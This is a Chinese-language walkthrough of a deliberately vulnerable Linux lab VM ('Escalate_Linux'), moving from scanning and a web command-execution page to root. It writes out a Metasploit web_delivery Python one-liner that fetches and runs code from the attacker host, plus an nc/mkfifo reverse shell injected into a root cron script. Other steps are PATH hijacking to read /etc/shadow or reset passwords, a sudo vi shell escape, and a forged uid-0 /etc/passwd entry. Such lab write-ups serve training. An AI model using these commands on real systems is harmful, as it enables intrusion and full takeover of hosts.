­

Escalate_Linux 多漏洞提权实战

  • 2019 年 10 月 6 日
  • 筆記

0X1 环境摘要

今天我们为大家分享的是一款多漏洞的Linux靶机,通过系统中的不同漏洞进行提权获得root权限。

扫描

  • Netdiscover
  • NMAP

枚举

  • Web目录扫描

利用

  • Metasploit shell上传
  • LinEnum.sh 查询

权限提升

  • 环境变量提权
  • 文件可写提权
  • SUID提权

0X2 实验步骤

首先开始扫描主机IP地址,使用Netdiscover工具

netdiscover -r 172.16.1.0/24

找到漏洞环境地址是172.16.1.189。然后使用nmap进行全面综合扫描

nmap -A 172.16.1.189
root@kali:~# nmap -A 172.16.1.189  Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-06 21:56 CST  Nmap scan report for 172.16.1.189  Host is up (0.00035s latency).  Not shown: 995 closed ports  PORT     STATE SERVICE     VERSION  80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))  |_http-server-header: Apache/2.4.29 (Ubuntu)  |_http-title: Apache2 Ubuntu Default Page: It works  111/tcp  open  rpcbind     2-4 (RPC #100000)  | rpcinfo:  |   program version   port/proto  service  |   100000  2,3,4        111/tcp  rpcbind  |   100000  2,3,4        111/udp  rpcbind  |   100003  3           2049/udp  nfs  |   100003  3,4         2049/tcp  nfs  |   100005  1,2,3      38169/udp  mountd  |   100005  1,2,3      60545/tcp  mountd  |   100021  1,3,4      39381/tcp  nlockmgr  |   100021  1,3,4      52112/udp  nlockmgr  |   100227  3           2049/tcp  nfs_acl  |_  100227  3           2049/udp  nfs_acl  139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)  2049/tcp open  nfs_acl     3 (RPC #100227)  MAC Address: 00:0C:29:EA:F3:51 (VMware)  Device type: general purpose  Running: Linux 3.X|4.X  OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4  OS details: Linux 3.2 - 4.9  Network Distance: 1 hop  Service Info: Host: LINUX    Host script results:  |_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s  |_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)  | smb-os-discovery:  |   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)  |   Computer name: osboxes  |   NetBIOS computer name: LINUXx00  |   Domain name: x00  |   FQDN: osboxes  |_  System time: 2019-08-06T09:56:52-04:00  | smb-security-mode:  |   account_used: guest  |   authentication_level: user  |   challenge_response: supported  |_  message_signing: disabled (dangerous, but default)  | smb2-security-mode:  |   2.02:  |_    Message signing enabled but not required  | smb2-time:  |   date: 2019-08-06 21:56:52  |_  start_date: N/A    TRACEROUTE  HOP RTT     ADDRESS  1   0.35 ms 172.16.1.189    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds

发现有80服务,那就使用dirb扫描一下站点目录,使用-X选项扫描扩展为php格式的文件

dirb http://172.16.1.189/ -X .php

发现一个shell.php路径,浏览器访问一下

提示我们缺少参数,那么我们使用cmd传入一个参数尝试构造

当前用户是一个普通用户,而当前的环境又给了我们命令执行的接口,所以我们使用反弹shell的方式连接进去

msf5 > use exploit/multi/script/web_delivery  msf5 exploit(multi/script/web_delivery) > set srvhost 172.16.1.134  srvhost => 172.16.1.134  msf5 exploit(multi/script/web_delivery) > set lhost 172.16.1.134  lhost => 172.16.1.134  msf5 exploit(multi/script/web_delivery) > exploit  [*] Exploit running as background job 1.  [*] Exploit completed, but no session was created.    [*] Started reverse TCP handler on 172.16.1.134:4444  [*] Using URL: http://172.16.1.134:80/TKEl7A6DrLCUvY9  [*] Server started.  [*] Run the following command on the target machine:  python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://172.16.1.134/TKEl7A6DrLCUvY9');exec(r.read());"  msf5 exploit(multi/script/web_delivery) >  msf5 exploit(multi/script/web_delivery) >

172.16.1.134是kali的ip地址,然后生成一段python的反弹代码,直接执行不成功,URL编码一下。

%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%79%73%3b%75%3d%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%75%72%6c%6c%69%62%27%2b%7b%32%3a%27%27%2c%33%3a%27%2e%72%65%71%75%65%73%74%27%7d%5b%73%79%73%2e%76%65%72%73%69%6f%6e%5f%69%6e%66%6f%5b%30%5d%5d%2c%66%72%6f%6d%6c%69%73%74%3d%28%27%75%72%6c%6f%70%65%6e%27%2c%29%29%3b%72%3d%75%2e%75%72%6c%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%31%37%32%2e%31%36%2e%31%2e%31%33%34%2f%54%4b%45%6c%37%41%36%44%72%4c%43%55%76%59%39%27%29%3b%65%78%65%63%28%72%2e%72%65%61%64%28%29%29%3b%22%0a

然后在msfconsole终端中发现一个shell连接反弹过来了

等待一会会中断,使用sessions查看所有会话连接

可以看到基本上都是user6返回的连接,使用命令进入meterpreter会话中

sessions -i 1

因为之前我们已经在浏览器中执行过id命令,知道当前是user6用户,是一个id是1005的用户,所以使用upload命令上传linux环境检查脚本,但是失败

换个思路,本地开启web环境,将脚本放置在www目录中,通过进入到靶机中的shell中在tmp目录中执行wget命令下载

成功了!然后改变权限,执行脚本

$ ls  LinEnum.sh  $ $ chmod 777 LinEnum.sh  $ ./LinEnum.sh

然后系统中共有8个用户

我们还发现在crontab中,使用root权限每隔5分钟运行一个名为autoscript.sh的文件。

有没有很熟悉的赶脚?是的,大伙长做的AWD线下的很多后门都在计划任务中。然后可写的文件包括了passwd文件

下面开始进行权限提升不同的方法尝试

I 利用shell文件的SUID权限获取shell

在我们上面使用LinEnum.sh扫描的时候由于网段是NAT,所以在检测的时候/home/目录下的文件权限没有检测出来,但是换成桥接模式之后可以的,很是无语了。所以扫描出的结果正面在/home/user3和/home/user5/目录下有文件具有suid权限

所以这里,我们使用find命令按照执行权限来查找

find / -perm -u=s -type f 2>/dev/nul  -perm 表示按执行权限来查找  -type 表示查是块设备、目录、字符设备、管道、符号链接、普通文件

执行一下

再去执行shell

就可以获得root权限了。

II 通过破解root密码获取root shell

从上面的截图中,我们已经知道了user5目录下的script也可以执行root权限

在这里,我们使用环境变量访问/etc/shadow文件,然后提权。利用环境变量提权的利用可以参考github上开源的exploit-nebula练习环境。

命令如下

echo "cat /etc/shadow"  > ps  chmod 777 ps  export PATH=/tmp:$PATH  cd /home/user5  ./script

执行结果只后没有成功!按照预期,该脚本执行的时候应该会以root身份执行,然后加载环境变量,执行cat /etc/shadow命令,这样的话我们就能够拿到root身份的密码值,然后使用john破解即可。但是在做的时候这里没有显示出来,试了好长时间,没有成功!如果有小伙伴做出来,可以交流一下。

III 通过利用user1的SUDO权限获取root shell

这里我们使用echo和chpasswd命令用我们的新密码12345替换现有密码。然后使用su命令切换到user1帐户。在检查了user1的sudoer列表后,我们发现该用户可以将所有命令作为sudo运行。所以我们运行命令sudo su并获得root访问权限

 user6  / | tmp  echo 'echo "user1:12345" | chpasswd' > ls  chmod 777 ls  export PATH=/tmp:$PATH  cd /home/user5  ./script  su user1  sudo –l  sudo suecho 'echo "user1:12345" | chpasswd' > ls  chmod 777 ls  export PATH=/tmp:$PATH  cd /home/user5  ./script  su user1  sudo –l   user6  / | tmp  chmod 777 ls   user6  / | tmp  export PATH=/tmp:$PATH   user6  / | tmp  cd /home/user5   user6  / | home | user5  ./script   user6  / | home | user5  su user1  Password: 12345    su: Authentication failure   user6  / | home | user5  su user1  su user1  Password: 12345    Welcome to Linux Lite 4.4 user1    Tuesday 06 August 2019, 11:45:18  Memory Usage: 356/985MB (36.14%)  Disk Usage: 5/217GB (3%)  Support - https://www.linuxliteos.com/forums/ (Right click, Open Link)     user1  /  home  user5  sudo su  sudo su  [sudo] password for user1: 12345    Welcome to Linux Lite 4.4    You are running in superuser mode, be very careful.    Tuesday 06 August 2019, 11:45:31  Memory Usage: 360/985MB (36.55%)  Disk Usage: 5/217GB (3%)     root  /  home  user5  id  id  uid=0(root) gid=0(root) groups=0(root)   root  /  home  user5   

IV 通过利用crontab获取root shell

我们通过上一关的利用方式对user4更改密码为12345

然后查看位于该用户桌面的autoscript.sh脚本

里面没啥关键信息。那么我们是不是可以往里面写一段反弹的shell呢?利用msfvenom进行编写。

msfvenom  -p  cmd/unix/reverse_netcat lhost=172.16.1.134  lport=8888  R

然后写入autoscript.sh脚本之中

echo 'mkfifo /tmp/nxbfap; nc 172.16.1.134 8888 0</tmp/nxbfap | /bin/sh >/tmp/nxbfap 2>&1; rm /tmp/nxbfap' > autoscript.sh

在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载

即可看到会话过来,查看权限为root权限。

V 通过利用crontab获取root shell

同样的过程,对user8修改密码为12345

echo 'echo "user8:12345" | chpasswd' > ls  chmod 777 ls  export PATH=/tmp:$PATH  cd /home/user5  ./script  su user8  sudo –l  sudo su

通过sudo -l查看user8的权限发现对vi有特权

那就打开一个vi,输入sh,退出

sudo vi  :!sh  enter

获得root权限。

Ⅵ 利用/etc/passwd文件的可写权限

查看/etc/passwd文件内容

可以发现user7对于passwd文件应该是可写的。所以和上面几步一样,修改user7的密码为12345

查看user7权限

然后复制kali的passwd文件内容,对pass123求哈希值

openssl  passwd -1 -salt ignite pass123

然后拷贝到新的passwd文件中,用户名是睡大觉简写

sdj:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

保存成新的passwd文件,使用user7用户下载到环境中,覆盖原来的passwd文件内

查看passwd内容并切换账户

提权成功!

总结

这个漏洞环境利用了Linux下常见的一些管理配置上的特性,如SUID、环境变量、特殊文件可写、计划任务等功能,使得我们在以普通用户的身份就可以轻易利用这些漏洞成为管理员,在一般的比赛中是经常的考点。所以我们在平常的练习环境中应该对此类漏洞多多总结,这样在遇到的时候就会很容易发现并加以利用学习。